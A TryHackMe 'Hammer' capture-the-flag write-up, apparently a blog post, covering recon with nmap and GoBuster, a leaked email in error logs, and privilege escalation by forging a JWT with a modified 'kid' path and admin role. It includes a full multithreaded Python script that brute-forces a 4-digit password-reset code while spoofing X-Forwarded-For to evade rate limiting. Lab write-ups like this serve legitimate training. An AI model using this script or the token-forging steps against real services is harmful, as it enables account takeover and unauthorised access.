TryHackMe: Hammer

Nmap Scan We started off with an nmap scan As we can observe, we see 2 ports are open: 22: for SSH 1337: for http This indicate an opening window to access the website hosted on port 1337. Accessing Port 1337 Upon accessing the website, we see a page as screenshot above. We can now view page source to see what else we can find. As observed, we can see a dev note indicating a specific naming convention of the directories. This indicate a potential use of GoBuster onto target website to extract more details. GoBuster We first run GoBuster on the target website using a usual directory list, getting the results as shown. We then follow the naming convention as mentioned in the Login page source, hoping to explore more directories, and sure we did as seen below. Exploring Directories Upon accessing hmr_logs directory, we can see a file named error.logs. After clicking on it, we see our first valid email that is registered in the system, tester@hammer.thm. Using Email Found We can use this lead to the forget password page. We can then login, which brings us to a page with OTP of 4 digits, and a countdown timer of 180 seconds. Upon sending the request to Repeater in Burp Suite, we can see that it has a rate limit as well. We see that the request does not have the X-Forwarded-For parameter in the Header. This is important as it shows the source IP that sends the request to the server. We can put another IP address that is not ours, and we expect the rate limit to reset. As expected, the limit rate resets. Exploitation We can create a python scirpt as follows to bypass the OTP authentication by brute forcing, exploiting this vulnerability. import requests import random import threading from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry url = "http://:1337/reset_password.php" num_threads = 50 stop_flag = threading.Event() # Retry mechanism retry_strategy = Retry( total=5, backoff_factor=1, status_forcelist=[500, 502, 503, 504], raise_on_status=False ) adapter = HTTPAdapter(max_retries=retry_strategy) session = requests.Session() session.mount("http://", adapter) def brute_force_code(start, end): for code in range(start, end): code_str = f"{code:04d}" try: r = session.post( url, data={"recovery_code": code_str, "s": ""}, headers={ "X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}" }, timeout=10, allow_redirects=False, ) if stop_flag.is_set(): return elif r.status_code == 302: stop_flag.set() print("[-] Timeout reached. Try again.") return elif "Invalid or expired recovery code!" not in r.text: stop_flag.set() print(f"[+] Found the recovery code: {code_str}") print("[+] Sending the new password request.") new_password = "Password123" session.post( url, data={ "new_password": new_password, "confirm_password": new_password, }, headers={ "X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}" }, ) print(f"[+] Password is set to {new_password}") return except requests.exceptions.RequestException as e: print(f"Error: {e}") continue def main(): print("[+] Sending the password reset request.") session.post(url, data={"email": "tester@hammer.thm"}) print("[+] Starting the code brute-force.") code_range = 10000 step = code_range // num_threads threads = [] for i in range(num_threads): start = i * step end = start + step thread = threading.Thread(target=brute_force_code, args=(start, end)) threads.append(thread) thread.start() for thread in threads: thread.join() if __name__ == "__main__": main() The explaination of code is as follows: Key Components Imports requests: Used to send HTTP requests. random: Generates random values (used here for random IPs in headers). threading: Enables multithreading to run multiple brute-force attempts concurrently. HTTPAdapter and Retry: Implements a retry mechanism to handle transient errors like timeouts or server issues. Global Variables url: The target URL for the password reset form. num_threads: Number of threads to use for the brute-force operation. Set to 50. stop_flag: A threading Event object used to signal all threads to stop when the corr

May 10, 2025 - 11:41
 0
TryHackMe: Hammer

Nmap Scan

We started off with an nmap scan

Image description

As we can observe, we see 2 ports are open:

  1. 22: for SSH
  2. 1337: for http

This indicate an opening window to access the website hosted on port 1337.

Accessing Port 1337

Image description

Upon accessing the website, we see a page as screenshot above.

We can now view page source to see what else we can find.

Image description

As observed, we can see a dev note indicating a specific naming convention of the directories. This indicate a potential use of GoBuster onto target website to extract more details.

GoBuster

Image description

We first run GoBuster on the target website using a usual directory list, getting the results as shown.

Image description

We then follow the naming convention as mentioned in the Login page source, hoping to explore more directories, and sure we did as seen below.

Image description

Exploring Directories

Image description

Upon accessing hmr_logs directory, we can see a file named error.logs.

Image description

After clicking on it, we see our first valid email that is registered in the system, tester@hammer.thm.

Using Email Found

We can use this lead to the forget password page.

Image description

We can then login, which brings us to a page with OTP of 4 digits, and a countdown timer of 180 seconds.

Image description

Upon sending the request to Repeater in Burp Suite, we can see that it has a rate limit as well.

Image description

We see that the request does not have the X-Forwarded-For parameter in the Header. This is important as it shows the source IP that sends the request to the server. We can put another IP address that is not ours, and we expect the rate limit to reset.

Image description

As expected, the limit rate resets.

Exploitation

We can create a python scirpt as follows to bypass the OTP authentication by brute forcing, exploiting this vulnerability.

import requests
import random
import threading
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

url = "http://:1337/reset_password.php"
num_threads = 50
stop_flag = threading.Event()

# Retry mechanism
retry_strategy = Retry(
    total=5,
    backoff_factor=1,
    status_forcelist=[500, 502, 503, 504],
    raise_on_status=False
)

adapter = HTTPAdapter(max_retries=retry_strategy)
session = requests.Session()
session.mount("http://", adapter)

def brute_force_code(start, end):
    for code in range(start, end):
        code_str = f"{code:04d}"
        try:
            r = session.post(
                url,
                data={"recovery_code": code_str, "s": ""},
                headers={
                    "X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}"
                },
                timeout=10,
                allow_redirects=False,
            )
            if stop_flag.is_set():
                return
            elif r.status_code == 302:
                stop_flag.set()
                print("[-] Timeout reached. Try again.")
                return
            elif "Invalid or expired recovery code!" not in r.text:
                stop_flag.set()
                print(f"[+] Found the recovery code: {code_str}")
                print("[+] Sending the new password request.")
                new_password = "Password123"
                session.post(
                    url,
                    data={
                        "new_password": new_password,
                        "confirm_password": new_password,
                    },
                    headers={
                        "X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}"
                    },
                )
                print(f"[+] Password is set to {new_password}")
                return
        except requests.exceptions.RequestException as e:
            print(f"Error: {e}")
            continue

def main():
    print("[+] Sending the password reset request.")
    session.post(url, data={"email": "tester@hammer.thm"})
    print("[+] Starting the code brute-force.")
    code_range = 10000
    step = code_range // num_threads
    threads = []
    for i in range(num_threads):
        start = i * step
        end = start + step
        thread = threading.Thread(target=brute_force_code, args=(start, end))
        threads.append(thread)
        thread.start()
    for thread in threads:
        thread.join()

if __name__ == "__main__":
    main()

The explaination of code is as follows:

Key Components

Imports

  1. requests: Used to send HTTP requests.
  2. random: Generates random values (used here for random IPs in headers).
  3. threading: Enables multithreading to run multiple brute-force attempts concurrently.
  4. HTTPAdapter and Retry: Implements a retry mechanism to handle transient errors like timeouts or server issues.

Global Variables

  1. url:
    • The target URL for the password reset form.
  2. num_threads:
    • Number of threads to use for the brute-force operation. Set to 50.
  3. stop_flag:
    • A threading Event object used to signal all threads to stop when the correct recovery code is found.

Retry Mechanism

The script uses a retry strategy with:

  • Up to 5 retries (total=5) for transient HTTP errors like 500, 502, 503, and 504.
  • A 1-second backoff between retries.

This ensures that network or server issues don’t stop the attack prematurely.

brute_force_code(start, end)

This function performs the brute-force attack for a range of recovery codes (start to end).

Steps:

  1. Loop through codes in the range:
- Each code is zero-padded to ensure it is always 4 digits (e.g., `0001`, `0456`).
  1. Send a POST request:
- Data sent includes:
    - `recovery_code`: The current code being tested.
    - `s`: A parameter specific to the form (possibly a hidden input field, value `180` is used here).
- Header includes:
    - `X-Forwarded-For`: A spoofed random IP address (e.g., `127.0.x.y`).
  1. Handle responses:
- **If `stop_flag` is set**: Exit immediately since the correct code was already found.
- **If status code is `302`**: Indicates a timeout or redirection. Prints a message and exits.
- **If the recovery code is valid**:
    - Stop all threads by setting `stop_flag`.
    - Print the correct recovery code.
    - Send a POST request to reset the password with a new value (`Password123`).
    - Print the new password.
  1. Error handling:
- Catches any `requests` exceptions (e.g., timeouts, connection errors) and continues testing.

main()

This is the main function orchestrating the attack.

Steps:

  1. Send a Password Reset Request:
- Sends an initial POST request with the email `tester@hammer.thm` to trigger the password reset process.
  1. Divide the Code Range:
- Divides the 4-digit range (`0000`–`9999`) into equal parts for each thread:
    - `step = code_range // num_threads` calculates the size of each thread’s range.
    - For 50 threads, each thread tests 200 codes (`10000 ÷ 50 = 200`).
  1. Start Threads:
- Creates and starts a thread for each range. Each thread runs `brute_force_code` with its assigned range.
  1. Wait for Threads to Finish:
- Calls `thread.join()` for each thread to ensure the program doesn’t terminate until all threads complete or stop.

Logging In

With the password set to Password123, we can now log in.

Image description

And we can find our first flag.

As we observe further, we can see a textbox to input commands. We also get redirected to the login page fairly swiftly, meaning we can't stay in that page for long.

Instead I send the request to the Intruder of Burp Suite entering a random command.

Image description

We can see that there is a session token being assigned to us upon logging in. Other than that, we also see that not all commands are allowed to be executed. However, we can execute ls.

Image description

1 file in particular looks interesting, that is 188ade1.key. We can download that by exploring http://:1337/188ade1.key. After that we juist read the file on out machine.

Image description

We got a key. This may point towards the token that we saw earlier. Now let us examine the token further.

Token

Image description

As we paste the token in JWT.io, we can see its details.

Image description

Above are changes that I have made to the token. Explanation is as follows:

  1. The kid parameter in the header section shows a path to the key. So I changed it to the path that leads to the key file that we downloaded from, which is /var/www/html/188ade1.key
  2. For the payload section, I changed the role parameter as admin, since we can observe from the error.logs file earlier, the privileges of the user role is quite limiting.
  3. And lastly the key that we found in the 188ade1.key file is pasted in ther verify signature section.

And with that we just paste the token into the request, and enter the command to find the final flag.

Image description